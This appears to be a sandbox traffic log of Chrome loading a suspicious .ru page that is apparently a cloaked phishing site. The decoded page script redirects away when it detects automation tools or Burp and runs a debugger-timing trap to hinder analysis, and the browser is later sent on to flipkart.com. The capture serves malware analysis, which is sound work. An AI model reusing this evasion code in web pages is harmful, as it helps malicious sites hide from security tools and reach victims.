2025-03-26 23:47:03 UTC	1494	OUT	GET /TTYCVJZBMCDQJBLCWRBAD3q3meqvkaul0wmowr3w5st?HVIMOAMLNSBOHPTOLUFHESIPEVX HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://c2uah.yazvbqkl.ru/QPImv5ff/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkNpcndQekk3b3llKzhIQ3I3RGhkTFE9PSIsInZhbHVlIjoiMjlMZGtLSDZ0T0MvYVNMVDZuaDZxdjc0ZVMvb09ZL1hxdHkzZVk0V29TeENTY1dCaS9qYldrNGJRcndJMDZDeHlnSXBMZWNRRldGOGtFNlhGZzlFdWxQNDVlaXZDN3hMZWV3TjFoRGhIdGEwWXZIdWdkaEthL0tsU3Ywa3puemkiLCJtYWMiOiI1Y2I5NTlmYzgwZGVkMmY1YTRlY2I4MDU4MDYzMTU4NTRkMjk4ZjUxNTJhZGYwNzA5NWQyOTRiMzNiYzAwOGY5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlRzUEpUWFNiSC9uOVFvOTJZbitVN1E9PSIsInZhbHVlIjoiYXY2d1g4TytaS3duWEJOVnd1ZUR1UXRqYmpKV3l3SnV5WXRHOHQ0eDVNZmwwMjkzZ3hmdEhOeXRzY29RK0lGV3dmYkM1cDRWaFRVRDgvbmQ4MTBsemlUODVIRVp1WkpFWjhwSEwyL2xmQ1hnc1B0aFlTcHYycDArSVM5M0FRSmciLCJtYWMiOiI4OTg5Yzg2MjNiMzgzMTcwNjc2NTBjNzA3NzU0MjBmZDk0OTZhZDUzOGQzMTUxYmUwMDgwODdiMjkyMWNkOWU5IiwidGFnIjoiIn0%3D
2025-03-26 23:47:03 UTC	1214	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:47:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rQqTF4CtgIH48AzalsQ0O9%2F4mGxmmUXEhxrWG1GVb8jgkQZry65do9hxKyXGdA4TxnMsWQBe2O2IJ21qv%2By8991DEakY4qOl%2FUwqcSXfW6ImtOtOsNTzuhqDhqw%2FFwt1DUtZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=8639&min_rtt=8567&rtt_var=2460&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2409&delivery_rate=330931&cwnd=246&unsent_bytes=0&cid=7b51bdc58d5588a8&ts=343&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImpqWFhZUEU3L295c09aRDFZWDlwSEE9PSIsInZhbHVlIjoiYTkwSUlidzJzVVR5Y0JWYUlMMk82bE9LdDlTRncrVytWcnpRVFZSUkRBSTF1Mk44ck5mSGYvT1FxQXhRTnE1ZmtaNGcxWXVHc3hzdDBYTlc2a1RGZzZRd0x5M0l1U0ZBcVNVNzhIbnYwWDNvM2g4MmVPMEJiN2krRkc1eWFUUWciLCJtYWMiOiIxYzMxY2E0MzMxMGZhYWE1MDdhMDdkMTgxMWUyYzY5ODU0MTY0YjZlYzllNGYzZWU3ZDE4NjU0N2NhZDQzZTA3IiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 01:47:03 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 23:47:03 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 41 72 51 31 51 72 62 6e 63 76 55 6b 5a 49 53 6e 4a 6a 4f 44 56 36 62 30 64 52 61 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 55 6e 6c 72 4d 6e 46 43 4e 48 68 7a 53 44 4e 42 51 33 4e 7a 63 32 4e 56 5a 33 64 32 63 33 68 4a 51 33 4e 31 59 6a 56 46 63 7a 6b 79 56 45 56 69 63 54 6c 49 4c 30 68 68 4c 31 5a 45 63 47 4a 6c 57 46 6c 4c 55 55 6c 49 4e 44 4e 4d 55 30 4a 30 56 57 56 4c 51 6b 78 71 54 55 35 72 52 6c 56 56 57 6e 42 47 4c 31 52 59 64 55 31 5a 57 6c 68 71 57 48 41 35 52 6b 31 77 65 46 6c 74 64 6d 74 6c 4e 56 46 70 53 48 6c 31 54 45 68 6c 55 6c 4a 4d 4d 54 52 6e 4f 58 5a 44 4f 56 46 57 64 54 46 74 4b 30 31 79 54 6b 51 34 4d 47 77 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjArQ1QrbncvUkZISnJjODV6b0dRanc9PSIsInZhbHVlIjoiUnlrMnFCNHhzSDNBQ3Nzc2NVZ3d2c3hJQ3N1YjVFczkyVEVicTlIL0hhL1ZEcGJlWFlLUUlINDNMU0J0VWVLQkxqTU5rRlVVWnBGL1RYdU1ZWlhqWHA5Rk1weFltdmtlNVFpSHl1TEhlUlJMMTRnOXZDOVFWdTFtK01yTkQ4MGw
2025-03-26 23:47:03 UTC	1369	IN	Data Raw: 66 66 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c Data Ascii: ff4<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <titl
2025-03-26 23:47:03 UTC	1369	IN	Data Raw: 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 31 32 30 70 78 3b 6c 65 66 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 20 30 20 34 70 78 20 35 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 61 64 6f 77 2d 66 61 64 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a 23 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 37 39 70 78 3b 7d 0d 0a 23 65 66 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 31 70 78 3b 7d 0d 0a 23 65 66 3e 2e 6c 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 6b Data Ascii: osition:relative;top:120px;left:25px;width:var(--envW);box-shadow:rgba(0,0,0,.25) 0 4px 5px;animation:shadow-fade var(--dur) infinite;}#flapContainer{width:var(--envW);margin-top:179px;}#ef{width:var(--envW);margin-top:-41px;}#ef>.l{width:287px;back
2025-03-26 23:47:03 UTC	1353	IN	Data Raw: 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 0d 0a 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 6d 61 72 67 69 6e 3a 2d 34 38 70 78 20 61 75 74 6f 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 3b Data Ascii: animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}.flapTriangle{width:var(--flapS);height:var(--flapS);background:#50d9ff;margin:-48px auto 0;border-radius:7px;
2025-03-26 23:47:03 UTC	111	IN	Data Raw: 36 39 0d 0a 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 7d 0d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 0d 0a Data Ascii: 69%{transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}} </style> <script>
2025-03-26 23:47:03 UTC	1369	IN	Data Raw: 63 62 32 0d 0a 69 66 20 28 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 64 72 69 76 65 72 20 7c 7c 20 77 69 6e 64 6f 77 2e 63 61 6c 6c 50 68 61 6e 74 6f 6d 20 7c 7c 20 77 69 6e 64 6f 77 2e 5f 70 68 61 6e 74 6f 6d 20 7c 7c 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 63 6c 75 64 65 73 28 22 42 75 72 70 22 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 20 3d 20 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 3b 0d 0a 7d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 76 4c 65 54 4e 65 57 70 67 6d 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 20 Data Ascii: cb2if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function vLeTNeWpgm(event) {
2025-03-26 23:47:03 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 6c 65 74 20 62 66 4e 6a 48 4f 74 67 69 5a 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 63 6f 6e 73 74 20 69 78 54 41 68 74 78 42 4e 59 20 3d 20 31 30 30 3b 0d 0a 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 57 6f 4b 64 4e 6d 58 62 79 52 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 65 62 75 67 67 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 51 7a 53 44 69 63 66 56 79 45 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 51 7a 53 44 69 63 66 56 79 45 20 2d 20 57 6f 4b 64 4e 6d 58 62 79 52 20 3e 20 69 78 54 41 68 74 78 42 4e 59 20 26 26 20 Data Ascii: let bfNjHOtgiZ = false; const ixTAhtxBNY = 100; setInterval(function() { const WoKdNmXbyR = performance.now(); debugger; const QzSDicfVyE = performance.now(); if (QzSDicfVyE - WoKdNmXbyR > ixTAhtxBNY &&
2025-03-26 23:47:03 UTC	519	IN	Data Raw: 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 35 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 65 62 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 65 66 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 22 3e 3c 2f 64 69 76 3e 3c 2f Data Ascii: class="s s4"></div><div class="s s1"></div><div class="s s2"></div></div><div class="r"><div class="s s5"></div><div class="s s4"></div><div class="s s1"></div></div></div></div><div id="eb"></div><div id="ef"><div class="r"></div><div class="l"></div></
2025-03-26 23:47:03 UTC	391	IN	Data Raw: 31 38 30 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 33 34 2e 36 34 33 20 31 32 2e 30 37 35 6c 2d 2e 35 38 38 20 31 2e 36 34 37 68 2d 2e 30 33 34 63 2d 2e 31 30 35 2d 2e 33 38 37 2d 2e 32 38 2d 2e 39 33 34 2d 2e 35 35 36 2d 31 2e 36 33 6c 2d 33 2e 31 35 2d 37 2e 38 39 37 68 2d 33 2e 30 37 37 56 31 36 2e 37 35 68 32 2e 30 33 56 39 2e 30 33 32 63 30 2d 2e 34 37 36 2d 2e 30 31 2d 31 2e 30 35 32 2d 2e 30 33 2d 31 2e 37 31 31 2d 2e 30 31 2d 2e 33 33 33 2d 2e 30 34 39 2d 2e 36 2d 2e 30 35 38 2d 2e 38 30 34 68 2e 30 34 35 63 2e 31 30 33 2e 34 37 33 2e 32 31 2e 38 33 34 2e 32 38 37 20 31 2e 30 37 35 6c 33 2e 37 37 36 20 39 2e 31 36 68 31 2e 34 32 6c 33 2e 37 34 38 2d 39 2e 32 34 33 63 2e 30 38 35 2d 2e 32 31 31 2e 31 37 35 2d 2e 36 32 32 2e 32 35 37 2d 2e 39 39 32 68 2e Data Ascii: 180<path d="M34.643 12.075l-.588 1.647h-.034c-.105-.387-.28-.934-.556-1.63l-3.15-7.897h-3.077V16.75h2.03V9.032c0-.476-.01-1.052-.03-1.711-.01-.333-.049-.6-.058-.804h.045c.103.473.21.834.287 1.075l3.776 9.16h1.42l3.748-9.243c.085-.211.175-.622.257-.992h.
2025-03-26 23:47:03 UTC	1369	IN	Data Raw: 31 63 37 31 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 34 32 2e 38 36 36 20 31 36 2e 37 35 31 68 32 2e 31 31 38 56 37 2e 37 35 32 68 2d 32 2e 31 31 38 7a 4d 34 33 2e 39 34 37 20 33 2e 39 32 39 63 2d 2e 33 34 39 20 30 2d 2e 36 35 33 2e 31 31 39 2d 2e 39 30 32 2e 33 35 33 61 31 2e 31 36 36 20 31 2e 31 36 36 20 30 20 30 30 2d 2e 33 37 38 2e 38 38 33 63 30 20 2e 33 34 34 2e 31 32 36 2e 36 33 36 2e 33 37 34 2e 38 36 35 2e 32 34 37 2e 32 33 2e 35 35 32 2e 33 34 35 2e 39 30 36 2e 33 34 35 73 2e 36 36 2d 2e 31 31 35 2e 39 31 2d 2e 33 34 35 63 2e 32 35 2d 2e 32 33 2e 33 37 39 2d 2e 35 32 2e 33 37 39 2d 2e 38 36 35 20 30 2d 2e 33 33 39 2d 2e 31 32 35 2d 2e 36 33 32 2d 2e 33 37 2d 2e 38 37 33 61 31 2e 32 36 32 20 31 2e 32 36 32 20 30 20 30 30 2d 2e 39 31 39 2d 2e 33 36 33 Data Ascii: 1c71<path d="M42.866 16.751h2.118V7.752h-2.118zM43.947 3.929c-.349 0-.653.119-.902.353a1.166 1.166 0 00-.378.883c0 .344.126.636.374.865.247.23.552.345.906.345s.66-.115.91-.345c.25-.23.379-.52.379-.865 0-.339-.125-.632-.37-.873a1.262 1.262 0 00-.919-.363

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49752	172.64.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:03 UTC	1148	OUT	GET /zc9h5KLA97aYiXtDf7w01bNnVOtkaft2ArioILdXr0fq HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkNpcndQekk3b3llKzhIQ3I3RGhkTFE9PSIsInZhbHVlIjoiMjlMZGtLSDZ0T0MvYVNMVDZuaDZxdjc0ZVMvb09ZL1hxdHkzZVk0V29TeENTY1dCaS9qYldrNGJRcndJMDZDeHlnSXBMZWNRRldGOGtFNlhGZzlFdWxQNDVlaXZDN3hMZWV3TjFoRGhIdGEwWXZIdWdkaEthL0tsU3Ywa3puemkiLCJtYWMiOiI1Y2I5NTlmYzgwZGVkMmY1YTRlY2I4MDU4MDYzMTU4NTRkMjk4ZjUxNTJhZGYwNzA5NWQyOTRiMzNiYzAwOGY5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlRzUEpUWFNiSC9uOVFvOTJZbitVN1E9PSIsInZhbHVlIjoiYXY2d1g4TytaS3duWEJOVnd1ZUR1UXRqYmpKV3l3SnV5WXRHOHQ0eDVNZmwwMjkzZ3hmdEhOeXRzY29RK0lGV3dmYkM1cDRWaFRVRDgvbmQ4MTBsemlUODVIRVp1WkpFWjhwSEwyL2xmQ1hnc1B0aFlTcHYycDArSVM5M0FRSmciLCJtYWMiOiI4OTg5Yzg2MjNiMzgzMTcwNjc2NTBjNzA3NzU0MjBmZDk0OTZhZDUzOGQzMTUxYmUwMDgwODdiMjkyMWNkOWU5IiwidGFnIjoiIn0%3D
2025-03-26 23:47:04 UTC	815	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 23:47:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wf4WGSsaM2UhqOSEYXfq93EIxvZ0zFYY96a3%2F6wlLYSV1n1GL6rlyLmGB70aLwiXcuWZP3TdzxsmLzUKHryHNKUS%2BnpqyM2cAv0Wz11YLD356yse0C6q2MFqfT3Xrjz26wM8"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=11880&min_rtt=8290&rtt_var=5141&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2062&delivery_rate=301854&cwnd=240&unsent_bytes=0&cid=d8eca1ba95394aa0&ts=326&x=0" CF-RAY: 926a87ed696e8c71-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 23:47:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49755	103.243.32.90	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:04 UTC	689	OUT	GET / HTTP/1.1 Host: www.flipkart.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://c2uah.yazvbqkl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:47:20 UTC	94	IN	HTTP/1.1 529 Server Error content-length: 18 content-type: text/plain connection: close
2025-03-26 23:47:20 UTC	18	IN	Data Raw: 53 69 74 65 20 69 73 20 6f 76 65 72 6c 6f 61 64 65 64 Data Ascii: Site is overloaded

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49756	103.243.32.90	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:15 UTC	123	IN	HTTP/1.1 408 Request Time-out Content-length: 110 Cache-Control: no-cache Connection: close Content-Type: text/html
2025-03-26 23:47:15 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49757	103.243.32.90	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:21 UTC	595	OUT	GET /favicon.ico HTTP/1.1 Host: www.flipkart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:47:36 UTC	94	IN	HTTP/1.1 529 Server Error content-length: 18 content-type: text/plain connection: close
2025-03-26 23:47:36 UTC	18	IN	Data Raw: 53 69 74 65 20 69 73 20 6f 76 65 72 6c 6f 61 64 65 64 Data Ascii: Site is overloaded

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49767	35.190.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:48:02 UTC	540	OUT	OPTIONS /report/v4?s=Wf4WGSsaM2UhqOSEYXfq93EIxvZ0zFYY96a3%2F6wlLYSV1n1GL6rlyLmGB70aLwiXcuWZP3TdzxsmLzUKHryHNKUS%2BnpqyM2cAv0Wz11YLD356yse0C6q2MFqfT3Xrjz26wM8 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://c2uah.yazvbqkl.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:48:02 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 26 Mar 2025 23:48:02 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49768	35.190.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:48:02 UTC	544	OUT	OPTIONS /report/v4?s=rQqTF4CtgIH48AzalsQ0O9%2F4mGxmmUXEhxrWG1GVb8jgkQZry65do9hxKyXGdA4TxnMsWQBe2O2IJ21qv%2By8991DEakY4qOl%2FUwqcSXfW6ImtOtOsNTzuhqDhqw%2FFwt1DUtZ HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://c2uah.yazvbqkl.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:48:02 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 26 Mar 2025 23:48:02 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49769	35.190.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:48:03 UTC	515	OUT	POST /report/v4?s=Wf4WGSsaM2UhqOSEYXfq93EIxvZ0zFYY96a3%2F6wlLYSV1n1GL6rlyLmGB70aLwiXcuWZP3TdzxsmLzUKHryHNKUS%2BnpqyM2cAv0Wz11YLD356yse0C6q2MFqfT3Xrjz26wM8 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 433 Content-Type: application/reports+json Origin: https://c2uah.yazvbqkl.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
